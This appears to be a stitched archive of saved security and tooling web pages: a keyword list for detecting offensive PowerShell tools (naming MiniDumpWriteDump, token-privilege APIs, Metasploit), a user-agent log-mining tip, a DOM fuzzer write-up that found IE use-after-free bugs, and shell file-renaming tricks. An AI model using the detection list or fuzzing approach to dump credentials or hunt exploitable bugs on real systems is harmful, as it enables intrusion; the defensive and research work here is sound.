  * Event 800: HostApplication not standard Microsoft tool \(PowerShell , PowerShell ISE, etc\).  
<img src='img/Temp2_6326.jpg' width='514' height='582'
alt='PowerShell-v5-PowerShellLog-PSAttack-MinLog' />

  * Event 800: Version mismatch between HostVersion & EngineVersion \(problematic\).
  * System.Management.Automation.dll hosted in non-standard processes.  
<img src='img/Temp2_6321.jpg' width='549' height='97' alt='Detect-
PowerShellDLL-In-Process-01' />  
<img src='img/Temp2_6315.jpg' width='546' height='141' alt='Detect-
PowerShellDLL-In-Process-02' />

  * Remember that custom EXEs can natively call .Net & Windows APIs directly without PowerShell.

### **Detecting Offensive PowerShell Tools**

I have noted several required elements in most of the offensive PowerShell
tools.  
Using the following indicators along with PowerShell module logging
\(preferably with script block logging\), it’s possible to detect most
PowerShell attack tools.  
Make sure you properly tune these in your environment to weed out false
positives.

  * AdjustTokenPrivileges
  * IMAGE\_NT\_OPTIONAL\_HDR64\_MAGIC
  * Management.Automation.RuntimeException
  * Microsoft.Win32.UnsafeNativeMethods
  * ReadProcessMemory.Invoke
  * Runtime.InteropServices
  * SE\_PRIVILEGE\_ENABLED
  * System.Security.Cryptography
  * System.Reflection.AssemblyName
  * _System.Runtime.__InteropServices_
  * LSA\_UNICODE\_STRING
  * MiniDumpWriteDump
  * PAGE\_EXECUTE\_READ
  * Net.Sockets.SocketFlags
  * Reflection.Assembly
  * SECURITY\_DELEGATION
  * TOKEN\_ADJUST\_PRIVILEGES
  * TOKEN\_ALL\_ACCESS
  * TOKEN\_ASSIGN\_PRIMARY
  * TOKEN\_DUPLICATE
  * TOKEN\_ELEVATION
  * TOKEN\_IMPERSONATE
  * TOKEN\_INFORMATION\_CLASS
  * TOKEN\_PRIVILEGES
  * TOKEN\_QUERY
  * Metasploit
  * Advapi32.dll
  * kernel32.dll
  * msvcrt.dll
  * ntdll.dll
  * secur32.dll
  * user32.dll

\(Visited 1,788 times, 544 visits today\)

Tags: bypass PowerShell security, constrained language mode, Detect PowerShell
attacks, InvokeMimikatz, Offensive PowerShell indicators, OffensivePowerShell,
PowerShell attack tools, PowerShell constrained language, PowerShellAttack,
PowerSploit, PowerUp, PowerView

  

# pygal - A python svg graph plotting library - A python SVG Charts Creator

**Created:**| _8/24/2014 8:05:47 PM_  
---|---  
**Updated:**| _8/24/2014 8:05:47 PM_  
**Author:**| __  
**Tags:**| _bookmark python visualization_  
  

# pygal

  * Try it online
  * News
  * Documentation
  * Support
  * Download

## A python SVG Charts Creator

### Presentation

pygal 1.4.2 is a dynamic SVG charting library.

It features various graph types:

  * Bar charts
  * Line charts
  * XY charts
  * Pie charts
  * Radar charts
  * Box plot
  * Dot charts
  * Pyramid charts
  * Funnel charts
  * Gauge charts
  * Worldmap charts
  * Country charts

Python/Css styling with some pre-defined themes. See styling.

And a lot of options to customize the charts.

### Get it \!

  * Get the package on pypi
  * Fork me on github

More information in the download page

### Get started

Start here to make your first steps.

### Technical Description

As of now pygal is known to work for python 2.6, 2.7 and 3.2, 3.3, 3.4.

#### Needed dependencies

pygal uses lxml to generate the svg, this is the only needed dependency.

#### Optional dependencies

PNG output requires CairoSVG, tinycss and cssselect. Install those with pip
install CairoSVG tinycss cssselect.

Unit testing needs py.test or nosetests.

Visual testing is based on flask.

  * A Kozea Project
  * Optimized for Standards

Fork me on GitHub

# SAMATE Reference Dataset

**Created:**| _3/31/2011 8:59:03 AM_  
---|---  
**Updated:**| _3/31/2011 8:59:22 AM_  
**Author:**| __  
**Tags:**| _security programming_  
  

# Welcome to the NIST SAMATE Reference Dataset Project

The purpose of the SAMATE Reference Dataset \(SRD\) is to provide users,
researchers, and software security assurance tool developers with a set of
known security flaws. This will allow end users to evaluate tools and tool
developers to test their methods. These test cases are designs, source code,
binaries, etc., i.e. from all the phases of the software life cycle. The
dataset includes "wild" \(production\), "synthetic" \(written to test or
generated\), and "academic" \(from students\) test cases. This database will
also contain real software application with known bugs and vulnerabilities.
The dataset intends to encompass a wide variety of possible vulnerabilities,
languages, platforms, and compilers. The dataset is anticipated to become a
large-scale effort, gathering test cases from many contributors. We have more
information about the SRD, including goals, structure, test suite selection,
etc.

## Browse, download, and search the SRD

Anyone can browse or search test cases and download selected cases.

To browse the test case repository or download test cases, click here.

To find specific test cases, click here.

To download test suites, click here.

## How to submit test cases

We welcome submission of software artifacts with security vulnerabilities. We
also welcome samples of avoiding or mitigating such vulnerabilities. A test
case consists of one or more files that manifests the security error, and
metadata about the file\(s\), such as the platform, language, etc. To submit a
test case, please contact the SAMATE team.

## Acknowledgments

We would like to thank all who have contributed to the SAMATE Reference
Dataset.

## Other Assurance Tool Test Collections

We are compiling a list of other \(non-SAMATE\) assurance tool test
collections. If you have have a test collection that meets the acceptance
criteria specified on that page, please submit your suggestion to SAMATE.

# How to use user-agent strings as a network monitoring tool

**Created:**| _11/23/2009 8:17:47 PM_  
---|---  
**Updated:**| _11/23/2009 8:17:58 PM_  
**Author:**| __  
**Tags:**| _analysis network-security_  
  

# **How to use user-agent strings as a network monitoring tool**

Richard Bejtlich

11.19.2009

Rating: --- \(out of 5\)

<img src='img/Temp2_4125.gif' width='1' height='5' />

<img src='img/Temp2_4125.gif' width='1' height='2' />

**<img src='img/Temp2_4123.gif' width='16' height='16' />** Network management
news, advice and technical information  
---  
<img src='img/Temp2_4125.gif' width='5' height='6' />  
<img src='img/Temp2_4124.gif' width='16' height='16' /> Digg This\! <img
src='img/Temp2_4121.gif' alt='StumbleUpon Toolbar' /> StumbleUpon <img
src='img/Temp2_4122.gif' width='16' height='16' alt='Bookmark with Delicious'
/> Del.icio.us <img src='img/Temp2_4120.gif' alt='Add to Google' />  
<img src='img/Temp2_4125.gif' width='1' height='15' />

<img src='img/Temp2_4125.gif' width='1' height='1' />

**_Solution provider takeaway:_**  _User-agent strings, elements of HTTP
headers, can be used as a network monitoring tool to reveal information about
client networks without affecting network performance or privacy. Learn how to
benefit from user-agent strings in this tip by Richard Bejtlich._| <img
src='img/Temp2_4125.gif' width='1' height='7' />  
---  
| | **More "Traffic Talk" tips on network monitoring from Richard Bejtlich**  
---  
Network security monitoring: Know your network  
  
Network security monitoring using transaction data  
  
How to deploy NetFlow v5 and v9 probes and analyzers  
<img src='img/Temp2_4125.gif' width='7' height='1' />  
<img src='img/Temp2_4125.gif' width='1' height='7' />  
Clients of network services often want to know more about their network. In
this edition of Traffic Talk, I will demonstrate how user-agent strings can be
used as a networking monitoring tool to reveal an enormous amount of
information with little or no impact on network performance or privacy.

A user-agent string is an element of an HTTP header sent by HTTP clients such
as Web browsers. The following HTTP request includes a user-agent string from
a Windows XP SP3 system running Firefox, talking to a Squid proxy server.

`GET  
http://searchnetworkingchannel.techtarget.com/tips/index/0,289482,sid100_tax311687,00.html
HTTP/1.1  
Host: searchnetworkingchannel.techtarget.com  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3)
Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer:  
http://searchnetworkingchannel.techtarget.com/tip/0,289483,sid100_gci1369534,00.html  
Cookie: BIGipServerlive=2768357386.41503.0000`

The user-agent string displays a lot of interesting information that can be
used to identify the version of the operating system and application that made
the request.

**Collecting user-agent strings**  
Network administrators can collect user-agent strings in two ways. The first
is to extract them from proxy logs. For example, a Squid proxy log might
contain an entry like the following:

`1256175164.757 ::: 38 ::: 192.168.2.107 ::: TCP_MISS/302 ::: 748 ::: GET :::  
http://media.techtarget.com/searchNetworkingChannel/images/spacer.gif ::: -
::: DIRECT/206.19.49.139 ::: text/html :::  
"http://searchnetworkingchannel.techtarget.com/tips/index/0,289482,sid100_tax311687,00.html"
::: "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3)
Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)"`

The triple colons \( ::: \) were added intentionally, for reasons that will
appear next. The entry in the squid.conf file used to generate this log format
is the following:

`logformat squid-extended %ts.%03tu ::: %6tr ::: %>a ::: %Ss/%03Hs ::: %h" :::
"%{User-Agent}>h"`

The second way to gather user-agent strings is to examine network traffic,
perhaps using a tool like Httpry. I explained this method in the tip "Network
security monitoring using transaction data."

Once you have logs, what can you do with them? Consider the following command
that examines Squid proxy logs, extracts the source IP addresses and user-
agents, counts unique appearances, and sorts them.

`cat /usr/local/squid/logs/access.log | awk 'FS=":::" {print $3 $12}' | sort -k 2 | uniq -c`
Here we see the file separator \(FS\) is set to triple colons. In my
experience, "traditional" file separators like commas or pipes appear too
frequently in HTTP requests to be useful for logging, but you are free to use
whatever file separator you would like. An excerpt of the output of running a
command like this on a small live network appears next. I describe a few
interesting elements of each after they are listed.

`r200a:/root# cat /usr/local/squid/logs/access.log | awk 'FS=":::" {print $3 $12}' | sort -k 2 | uniq -c   
  
1 103:::  
14 192.168.2.104 "-"  
7 192.168.2.104 "AVGINET8-WVSHX86 85FREE AVI=270.14.10/2429 BUILD=421 LOC=1033
LIC=8FREE--[...key obscured...] DIAG=90 OPF=0 PCA=" 6 192.168.2.104
"AVGINET8-WVSHX86 85FREE AVI=270.14.11/2430 BUILD=421 LOC=1033
LIC=8FREE--[...key obscured...] DIAG=90 OPF=0 PCA=" 10 192.168.2.104
"AVGINET8-WVSHX86 85FREE AVI=270.14.12/2431 BUILD=421 LOC=1033
LIC=8FREE--[...key obscured...] DIAG=90 OPF=0 PCA=" ...edited...`

The three entries above show 192.168.2.104 has been updating its AVG antivirus
product.

`4 192.168.2.107 "AVGINET8-WXPPX86 85FREE AVI=270.14.25/2450 BUILD=423
LOC=1033 LIC=8FREE--[...key obscured...] DIAG=380 OPF=0 PCA="`

Now we see a different PC running AVG. It has a different LIC \(license\) key.
Google searches for both keys reveal they are not unique to these systems.

`8 192.168.2.104 "Adobe Update Manager 6" 1 192.168.2.104 "Client"
...edited...`

The Adobe program is interesting because it must have checked local proxy
settings to do its update. The "Client" entry is extremely interesting because
it appears only once.

We can search the proxy logs for that entry:

`r200a:/root# grep \"Client /usr/local/squid/logs/access.log  
  
1255628697.525 ::: 226 ::: 192.168.2.104 ::: TCP_MISS/204 ::: 406 ::: GET :::
http://g.microsoft.com/_0sfdata/1?CG=%7B2CEDBFBC-DBA8-43AA-B1FD-
CC8E6316E3E2%7D&DV=8.0.6001.9&OS=6.0.6002.2.0&BL=en-
us&AA=45:15:52:22&AB=556&AC=177&AD=23&AE=104&AF=50&AG=428&AH=0&AI=17&AJ=200&AK=0&AL=6&NR=4&BD=0&NE=0&IU=0&SD=0&NO=0&BS=0&OE=0&UA=0&TP=0&TC=0&TE=0&NP=215
::: - ::: DIRECT/207.46.216.54 ::: - ::: "-" ::: "Client"`

We can see the system accessed g.microsoft.com with IP address 207.46.216.54
\(which belongs in Microsoft's 207.46.0.0/16 netblock\). So this appears to be
related to a Microsoft application.

`16 192.168.2.104 "MSDW"`

This entry is also obscure.

`r200a:/root# grep \"MSDW /usr/local/squid/logs/access.log  
  
1255516537.205 ::: 1185 ::: 192.168.2.104 ::: TCP_MISS/200 ::: 7640 :::
CONNECT ::: wer.microsoft.com:443 ::: - ::: DIRECT/65.55.53.156 ::: - ::: "-"
::: "MSDW"  
1255517315.250 ::: 680 ::: 192.168.2.104 ::: TCP_MISS/200 ::: 7640 ::: CONNECT
::: wer.microsoft.com:443 ::: - ::: DIRECT/65.55.53.156 ::: - ::: "-" :::
"MSDW"  
1255674327.981 ::: 210 ::: 192.168.2.104 ::: TCP_MISS/200 ::: 500 ::: GET :::  
http://watson.microsoft.com/StageOne/Generic/MpTelemetry/80240016/BeginInstall/Install/1_1_1600_0/MpSigDwn_dll/1_1_1600_0/Windows%20Defender.htm?LCID=1033&OS=6.0.6002.2.00010300.2.0.3.18005&VID=1028&OEM=Dell&LOB=INS
::: - ::: DIRECT/65.55.53.190 ::: text/html ::: "-" ::: "MSDW"
...truncated...`

Checking the logs, we see another Microsoft application, perhaps related to
Dr. Watson and Windows Defender.

`2 192.168.2.107 "Python-urllib/2.5"  
6 192.168.2.108 "Python-urllib/2.6"`

These Python entries are probably not caused by a Windows application.
Checking the logs we see they are used by Ubuntu.

`r200a:/root# grep \"Python-urllib /usr/local/squid/logs/access.log  
  
1256133834.436 ::: 188 ::: 192.168.2.107 ::: TCP_MISS/304 ::: 275 ::: GET :::
http://changelogs.ubuntu.com/meta-release-lts ::: - ::: DIRECT/91.189.90.132
::: - ::: "-" ::: "Python-urllib/2.5" 1256133856.075 ::: 206 ::: 192.168.2.107
::: TCP_MISS/304 ::: 275 ::: GET ::: http://changelogs.ubuntu.com/meta-
release-lts ::: - ::: DIRECT/91.189.90.132 ::: - ::: "-" ::: "Python-
urllib/2.5" 1256173578.838 ::: 187 ::: 192.168.2.108 ::: TCP_MISS/304 ::: 345
::: GET ::: http://changelogs.ubuntu.com/meta-release ::: - :::
DIRECT/91.189.90.132 ::: - ::: "-" ::: "Python-urllib/2.6" ...truncated...`

As you can see, you can learn a lot about a network simply by looking at user-
agent strings. The very simple network used to generate the logs for this
story offered more than 60 different entries for analysis, but I displayed
only nine for the sake of brevity. User-agent string mining can be used
passively to identify and track applications and systems, for both inventory
and security purposes. Consider ways you can use user-agent strings for
network monitoring when working with client networks\!

_Richard Bejtlich is director of incident response for General Electric and
author of the TaoSecurity blog._

<img src='img/Temp2_4125.gif' width='1' height='25' />  
---  
  

# hackademix.net » NSA++: NoScript is Back on your Android Smarphones

**Created:**| _11/6/2012 9:26:57 AM_  
---|---  
**Updated:**| _11/6/2012 9:26:57 AM_  
**Author:**| __  
**Tags:**| _mobile/embedded browser_  
  

WYSIWYP \(Re: Printing a Web Page\) So Unicredit, Doesn’t My Visa Make Me
Human Enough?\! <img src='img/Temp2_10294.gif' alt='next' /> 04 11 2012

## NSA++: NoScript is Back on your Android Smarphones

Posted by: Giorgio in Clickjacking, Mobile, CSRF, XSS, Security, Mozilla,
NoScript <img src='img/Temp2_10295.gif' alt='NSA++, NoScript on Android' />
NSA++ \(_NoScript Anywhere Plus Plus_ , or NoScript 3.5 alpha for Android
Native\) has been in the works for a while now, and it’s finally ready for
prime time, thanks also to the continuous help of the NLNet Foundation. Even
if it’s not as complete as its legacy Electrolysis-orphaned obsolete
predecessor \(NSA, designed for the now discontinued XUL Fennec, AKA Firefox 4
Mobile\) yet, NSA++ already provides **the best security you can get in any
mobile browser** : beside its trademark flexible script blocking facility, it
features the first ever and still strongest XSS filter available, plus partial
but functional portings of the unique ClearClick anti-Clickjacking technology
and ABE’s firewall/LAN CSRF protection. You can read more or try it with a
recent Firefox Nightly \(mobile or desktop, too\!\) on the NSA project page.
This entry was posted on Sunday,  
---

# Tentacolo Viola

**Created:**| _2/18/2013 1:09:43 PM_  
---|---  
**Updated:**| _2/18/2013 1:09:43 PM_  
**Author:**| __  
**Tags:**| _Fuzzer dom_  
  

###  Fuzzing with DOM Level 2 and 3

**Overview**  
Fuzzing techniques proved to be very effective in finding vulnerabilities in
web browsers.  
Over time several valuable fuzzers have been written and some of them
\(mangleme, cross\_fuzz\) have became a "de-facto" standard, being widely
adopted by the security research community.  
The most common approach in browser fuzzing leverages on DOM Level 1
interfaces, where DOM elements are randomly created, crawled, tweaked and
deleted.  
Using this approach hundreds of memory corruption bugs have been uncovered in
all mainstream browsers but, due to widespread coverage, spotting new bugs is
becoming increasingly difficult.  
  
At DeepSec conference in Vienna, I showed an evolutive approach of browser
fuzzing that relies on some DOM interfaces introduced by W3C DOM Level 2 and
Level 3 specifications.  
Using this approach a fuzzer prototype has been built and tested against IE9,
IE10 and Chrome, providing interesting results: more than 70 different crashes
have been generated and several memory corruption errors have been found, some
of which turned to be exploitable.  
  
**Technique analysis**  
The usual approach in browser fuzzing leverages on DOM Level 1 interfaces for
performing DOM mutations:  

  1. a big quantity of random HTML elements are created and randomly added to the HTML document tree 
  2. the DOM tree is crawled and element references are collected for later reuse 
  3. elements attributes and function calls are tweaked   

  4. random DOM nodes are deleted 
  5. garbage collection is forced 
  6. collected references are crawled and tweaked again

This approach is effective but suffers from some design limitations:  

  1. every DOM mutation \(e.g. element tweaking, deletion, etc\) is performed on a single HTML element, no mass mutations are managed
  2. the execution workflow can only be altered by the cardinality and the type of randomly generated DOM nodes \(e.g different tag names, attributes, etc\).

The entropy of a browser fuzzer can be taken to a further level introducing
some new functionalities defined in DOM Level 2 and Level 3 specifications.  
  
**Working with aggregations of nodes \(DOM Level 2\)**  
DOM Level 2 specifications introduces several new interfaces that allow to
perform mutations on collections of DOM elements.  
For instance interfaces like DocumentFragment, Range, TextRange,
SelectionRange allow to create logical nodes aggregations and execute CRUD
mutations on them using a rich set of APIS.  
A quick list of these methods: createRange, deleteContents, extractContents,
cloneContents, cloneRange, removeRange, createTextRange, pasteHTML, etc  
The expectation is that each of the methods provided for the insertion,
deletion and copying of contents can be directly mapped to a series of Node
editing operations enabled by DOM Core.  
In this sense these operations can be viewed as convenience methods that also
enable a browser implementation to optimize common editing patterns.  
It turns out that implementation bugs in this methods can lead to serious
memory corruption errors when not correctly mapped to atomic-safe node
operations.  
  
**Using document traversal data structures \(DOM Level 2\)**  
In the classic fuzzer approach, crawling the DOM tree is performed walking the
physical tree from the top level node \(DOCTYPE or HTML\) to the leaves using
DOM Level 1 methods \(.children, .parentNode, .nextSiebling, etc\).  
In DOM Level 2 several data structures are available to create logical view of
a Document subtree \(eg. NodeList, TreeWalker, NodeIterator\); we refer to
these as the logical views to distinguish them from the physical view, which
corresponds to the document subtree per se.  
These logical views are dynamic, in the sense that they modify their structure
to reflect changes made to the underlying document.  
That's why some memory corruption scenarios arise when DOM mutations performed
on the physical tree are not correctly managed on the logical counterpart.  
  
**Introducing events \(DOM Level 3\)**  
In order to add more entropy to the fuzzer workflow, events firing and
propagation can be used. DOM Level 3 specification defines a standard way to
create events, fire them and manage event listeners for every DOM node. On top
of that, specification defines a standard for event propagation model.  
From the spec page \(http://www.w3.org/TR/DOM-Level-3-Events/\#dom-event-
architecture\):  
"_Event objects are dispatched to an event target. At the beginning of the
dispatch, implementations must first determine the event object's propagation
path._ "  
The propagation path of an event include 3 steps:  

  1. capture phase: the event propagates through the target's ancestors from the document root to the target's parent. Event listeners registered for this phase handle the event before it reaches its target.
  2. target phase: the event arrives at the final target element. Event listeners registered for this phase handle the event once it has reached its target.
  3. bubble phase: the event propagates through the target's ancestors in reverse order, starting with the target's parent and ending with the document root element. Event listeners registered for this phase must handle the event after it has reached its target.

From the spec page: "_The propagation path must be an ordered list of current
event targets through which the event object must pass. For DOM
implementations, the propagation path must reflect the hierarchical tree
structure of the document. The last item in the list must be the event target;
the preceding items in the list are referred to as the target's ancestors, and
the immediately preceding item as the target's parent. Once determined, the
propagation path must not be changed; for DOM implementations, this applies
even if an element in the propagation path is moved within the DOM. or removed
from the DOM. Additionally, exceptions inside event listeners must not stop
the propagation of the event or affect the propagation path._ "  
  
So the idea here is to let an event fire and alter the DOM tree structure
after the propagation path has already been defined. This can be easily
obtained attaching random eventListeners to every DOM element, setting the
"capturable" flag to true. Whenever an event targeting a node is intercepted
by a node's anchestor, some random operations on DOM tree are performed,
removing o inserting whole sets of elements. Then the propagation of the event
goes on.  
Note: this technique proved to be dramatically effective in crashing IE9/10,
probably because IE9 is the first IE version to support standard W3C event
model and is not still "bullet-proof".  
  
**The fuzzer prototype: Nduja**  
The protype has been implemented in JS and the fuzzing algorithm can be summed
up as follows:  

  * Initialization

  * create a given number of random HTML elements
  * for each element tweak random attributes/functions/styles
  * for each element add a given number of event listeners
  * append the elements in a random position in the document tree
  * create logical views of a random DOM subtree \(nodeIterator, treeWalker\)  

  * Crawling

  * Crawl DOM tree
  * Create random Range \(or similar DOM Level 2 structure\) and apply random mutatios on it \(delete, insert,surround, etc\)
  * Crawl DOM logical views

  * Event management: events are managed accordingly to the dispatching phase   

  * if the event is in the capture/bubble phase:

  * remove some random event listeners from the current target  

  * create random Range \(or similar DOM Level 2 structure\) and apply random mutatios on it \(delete, insert,surround, etc\)
  * crawl physical tree and logical views

  * if the event is in the target phase

  * add some other event listeners to the event target node  

  
**Results**  
The prototype has been tested against IE9/Win7, IE10/Win8 and Win7/Chrome 23.  
Every crash has been collected on the fly using a windbg script and classified
with \!exploitable/pageheap/\!analyze.  
Counting the distinct function calls/offsets where IE crashes, more than 70
different bugs exist.  
Majority of them are heap corruption errors, mainly UAFs and double frees.  
Grinder Framework has been used in order to let the fuzzer run, collect
results and reproduce testcases.  
  
Using Nduja fuzzer I've been able to discover a bunch of 0 days
vulnerabilities: three of them \(UAF\) have been reported to MSRC and already
patched in some recent MS bullettins:  

  * UAF in EventListener - CVE-2012-2546 \(patched with bullettin MS12-063\)
  * UAF in InjectHTMLStream - CVE-2012-4781 \(patched with bullettin MS12-077\)
  * UAF in CMarkup - CVE-2012-4782 \(patched with bullettin MS12-077\)

**Further developments  
** There is no final version of Nduja fuzzer, the sample attached is just one
of the infinite possible implementations of the same fuzzing approach:
events+massive mutations+iterators.  
My suggestion is to pick up the code, modify at will and test your own
variant.  
There are a lot of browsers on which the fuzzer has not been widely tested
yet: Firefox, Opera, Safari, and all mobile OS browsers.  
  
**Notes on the Nduja fuzzer**  
The fuzzer is:  
\- highly prototypal  
\- not really optimized/performant  
\- highy uncommented  
  
It is published for educational purposes only and I will not be responsible
for any misuse or any harm it can cause on your own HW or SW.  
Use it at your own risk. :-\)  
**  
Acknowledgements  
**

  * Roberto Suggi Liverani for his valuable support during the early stage of my research
  * Giorgio Fedon of MindedSecurity for encouragements and for providing some precious insights on memory bugs exploitability conditions. THX.A.LOT.  

  * Luca Carettoni: it was a pleasure to meet you and share a cup of coffee @ DeepSec. Hope to see you again soon\!

  
---

# Command Line Kung Fu: Episode \#26: Renaming Files With Regular Expressions

**Created:**| _5/16/2009 10:29:07 AM_  
---|---  
**Updated:**| _5/16/2009 10:29:12 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#26: Renaming Files With Regular Expressions

Hal Says:  
  
I admit it, I'm a fan of the CommandLineFu site \(hey, it's a community, not a
competition\), and like trolling through it occasionally for interesting
ideas. This post by vgagliardi shows a cool trick for renaming a bunch of
files using regular expressions and the substitution operator in bash. For
example, suppose I wanted to convert spaces to underscores in all file names
in the directory:  
  

[code]

    $ **for f in *; do mv -- "$f" "${f// /_}"; done**
    
[/code]

  
I realize that syntax looks a little crazy. The general form is
"$\{variable/pattern/substitution\}", but in this case we have an extra "/" at
the front of "pattern", which means "replace all instances" rather than only
replacing the first instance.  
  
By the way, you can use the standard Unix regular expression syntax for your
substitution pattern. For example, here's a loop to remove all characters from
file names  _except for_ alphanumeric characters, dot, hypen, and underscore:  
  

[code]

    $ **for f in *; do mv -- "$f" "${f//[^-_.A-Za-z0-9]/}"; done**
    
[/code]

  
In this case "\[^...\]" means match any characters  _not_ in the specified
set, and we're performing a null substitution.  
  
Did you notice that we're also using the "--" argument to the "mv" command,
just in case one of our file names happens to start with a "-"? These files
are typically a huge pain in Unix. What if we wanted to replace all the "-"
characters at the beginning of a file name with underscores?  
  

[code]

    $ **for f in *; do mv -- "$f" "${f/#-/_}"; done**
    
[/code]

  
As you can see, starting the pattern with "\#" means "match at the front of
the string. Or we can match at the end of the string with "%":  
  

[code]

    $ **find docroot -type f -name \*.htm | \  
         while read f; do mv -- "$f" "${f/%.htm/.html}"; done**
    
[/code]

  
Here we're using "find" to locate all of the \*.htm files in our web docroot
and then piping the output into a while loop that renames all these files to
be \*.html files instead.  
  
There are a couple of problems with the method that I'm using here: \(1\) if
multiple files map to the same name, you'll end up clobbering all but the last
instance of that file, and \(2\) you get errors if your substitution doesn't
actually modify the file name because the "mv" command refuses to rename a
file to itself. We can fix both of these problems with a little extra logic in
the loop. Let's return to our first example of converting spaces to
underscores:  
  

[code]

    $ **for f in *; do n="${f// /_}"; [ -f "$n" ] || mv -- "$f" "$n"; done**
    
[/code]

  
  
First we assign the new file name to the variable $n. Then we check to see if
a file named "$n" exists-- the "mv" command after the "||" is only executed if
there is no "$n" file.  
  
I admit that I usually use the Perl rename program for renaming large numbers
of files, because \(a\) the syntax is much more terse, and \(b\) I love Perl.
But this program isn't always available on all the different flavors of Unix
that I end up having to work on. So having this functionality built into the
shell is a huge win.  
  
Ed Responds:  
When I quickly glanced at Hal's challenge initially, I thought... "Yeah,
that's pretty easy... findstr supports regex, and I'll use the ren command to
rename the files... No prob."  
  
And then, I started to write the command, and it got horribly ugly really
quickly. Hal squealed with delight when I told him how ugly it was... and
believe me... you ain't seen nothing until you've seen Hal squeal with
delight.  
  
Anyway, to keep this article from getting unreasonably long, I'm going to
address Hal's original command, which replaced the spaces in file names with
underscores. Unfortunately, you see, the parsing, iteration, and recursion
capabilities within a single command in cmd.exe are really limiting. For
parsing strings, we've got FOR /F and a handful of substring operations I
covered in Episode 12. For running a command multiple times, we've got for /L,
as I mentioned in Episode 3. For recursion, well, that's just plain bad news
in a single command unless we bend our rules to create a bat file that calls
itself.  
  
To start to address Hal's original challenge, we can use the following command
to determine if there are any files that have at least one space in their
names in our current directory:  

[code]

    C:\> dir /b "* *"
    
[/code]

  
That's pretty straightforward to start, with the /b making dir show only the
bare form of output, omitting cruft about volume names and sizes. Note that it
will only show files that do not have the hidden attribute set. If you want,
you can invoke dir with /a to make it show files regardless of their
attributes, hidden or otherwise. Now, let's see what we can do with this
building block.  
  
Plan A: Every File Should Have Four Spaces in Its Name, Right?  
My original plan was to wrap that command inside a FOR /F loop, iterating over
each file using FOR /F functionality to parse it into its constituent
elements. I was thinking something like this:  
  

[code]

    C:\> for /F "tokens=1-4" %i in ('dir /b "* *"') do ren "%i %j %k %l" "%i_%j_%k_%l"
    
[/code]

  
Well, that's all very nice, but we've got a problem... let me show an example
of what this beast creates when I run it in a directory with a file named
"file 1.txt" and "file 2 is here.txt":  
  

[code]

    C:\> dir /b  
    file_1.txt__  
    file_2_is_here.txt
    
[/code]

  
Ooops... the file1.txt name has two underscores after it. This option only
works if files have exactly four spaces in their names. That's no good.  
  
Plan B: Let's Just Change the First Space into an Underscore  
Well, how about this... We could write a one-liner that assumes a file will
have only one space in its name, and convert that one space into an
underscore. That's not too bad:  
  

[code]

    C:\> for /f "tokens=1,*" %i in ('dir /b "* *"') do ren "%i %j" "%i_%j"
    
[/code]

  
I'm parsing the output of the dir /b command using parsing logic of
"tokens=1,\*", which means use your default delimiters of space and break each
line of the output of the dir command into the entity before the first space
into %i, and everything afterward into the next iterator variable, %j.  
  
Let's run that with our same file names as before, yielding:  
  

[code]

    C:\> dir /b  
    file_1.txt  
    file_2 is here.txt
    
[/code]

  
Well, we got it right for file\_1.txt, because there is only one space. But,
we only fixed the first space in file 2 is here.txt. Hmmmm... How could we
move closer to our result?  
  
Hit the up arrow a couple times to go back to our Plan B FOR /F loop, and hit
enter again. Now, running our dir, we get:  
  

[code]

    C:\> dir /b  
    file_1.txt  
    file_2_is here.txt
    
[/code]

  
Ahh... we nailed our second space. Hit the up arrow again and re-run... and...
well, you get the picture. We can take care of one space at a time. Not so
bad.  
  
But, who wants to hit the up arrow again and again and again until we get rid
of all the spaces? You'd have to re-run my Plan B command N times, where N is
the maximum number of spaces inside a file name in the current directory.  
  
Plan C: Make the Shell Re-Run the Command Instead of Doing it Manually  
Well, instead of re-running a command a bunch of times, let's make the shell
do our work for us. We'll just wrap the whole thing in a FOR /L loop to count
through integers 1 through 10 \(1,1,10\) and invoke the FOR /F loop at each
iteration through our FOR /L loop:  
  

[code]

    C:\> for /L %a in (1,1,10) do @for /f "tokens=1,*" %i in ('dir /b "* *"')  
      do ren "%i %j" "%i_%j"
    
[/code]

  
That works, provided that none of the files have more than ten spaces in their
name. Ummm... but what if they do? We could raise the number 10 to 20... but
that's kind of a cheap hack, no?  
  
Plan D: Violate the Rules -- Make a 3-Line Script  
OK... if we had a while construct in cmd.exe, we could simply run my FOR /F
loop of Plan B while the dir /b "\* \*" still returned valid output. But, we
don't have a while command in cmd.exe. If we want to check a condition like
that, we only have IF statements. And, if we want to jump around based on the
results of IF statements, we need to use GOTOs. And, if we want to use IFs and
GOTOs, we can't dump everything on a single one-line command, but will instead
have to create a little bat file.  
  
So, I'm going to have to bend our ground rules for this blog, which require a
single command, and instead use a three-line bat file. Here's a bat file I
wrote that converts all of the names of files in the current directory with
spaces in them into underscores:  
  

[code]

    :begin  
    for /F "tokens=1,*" %%i in ('dir /b "* *"') do ren "%%i %%j" "%%i_%%j"  
    if exist "* *" goto begin
[/code]

  
There you have it.... kind of an ugly little hack, but it works. Note that I
had to change my iterator variables in my FOR loop from %i and %j into %%i and
%%j. You have to do that to convert command-lines into bat files in Windows.
Also, I'm using an IF statement to test for the existence of "\* \*", which
would match any file with a space in its name.  
  
A small script in cmd.exe can satisfy Hal's original challenge. To start
addressing his other feats to convert other characters in file names, we could
specify options for the FOR /F loop of everything we want to parse out with
the syntax "tokens=1,\* delims=~\!@\#$%^&\*\(\)+=" and whatever else you wanna
take out.  
  
I could drone on and on endlessly here, but I think you get the idea. It ain't
pretty, but it is doable.... Now that should be the cmd.exe mantra.  
  
PS: I too am a fan of the CommandLineFu site. It rocks.

# Buffer Overflows — 0x01 – n0auth – Medium

**Created:**| _4/25/2019 6:35:33 AM_  
---|---  
**Updated:**| _4/25/2019 6:35:33 AM_  
**Author:**| __  
**Tags:**| _Exploit stackbof_  
  

  

# Buffer Overflows — 0x01

<img src='img/1*eKn37FUcmvdHIobeER_mfQ.jpeg' width='50' height='50' />

n0auth

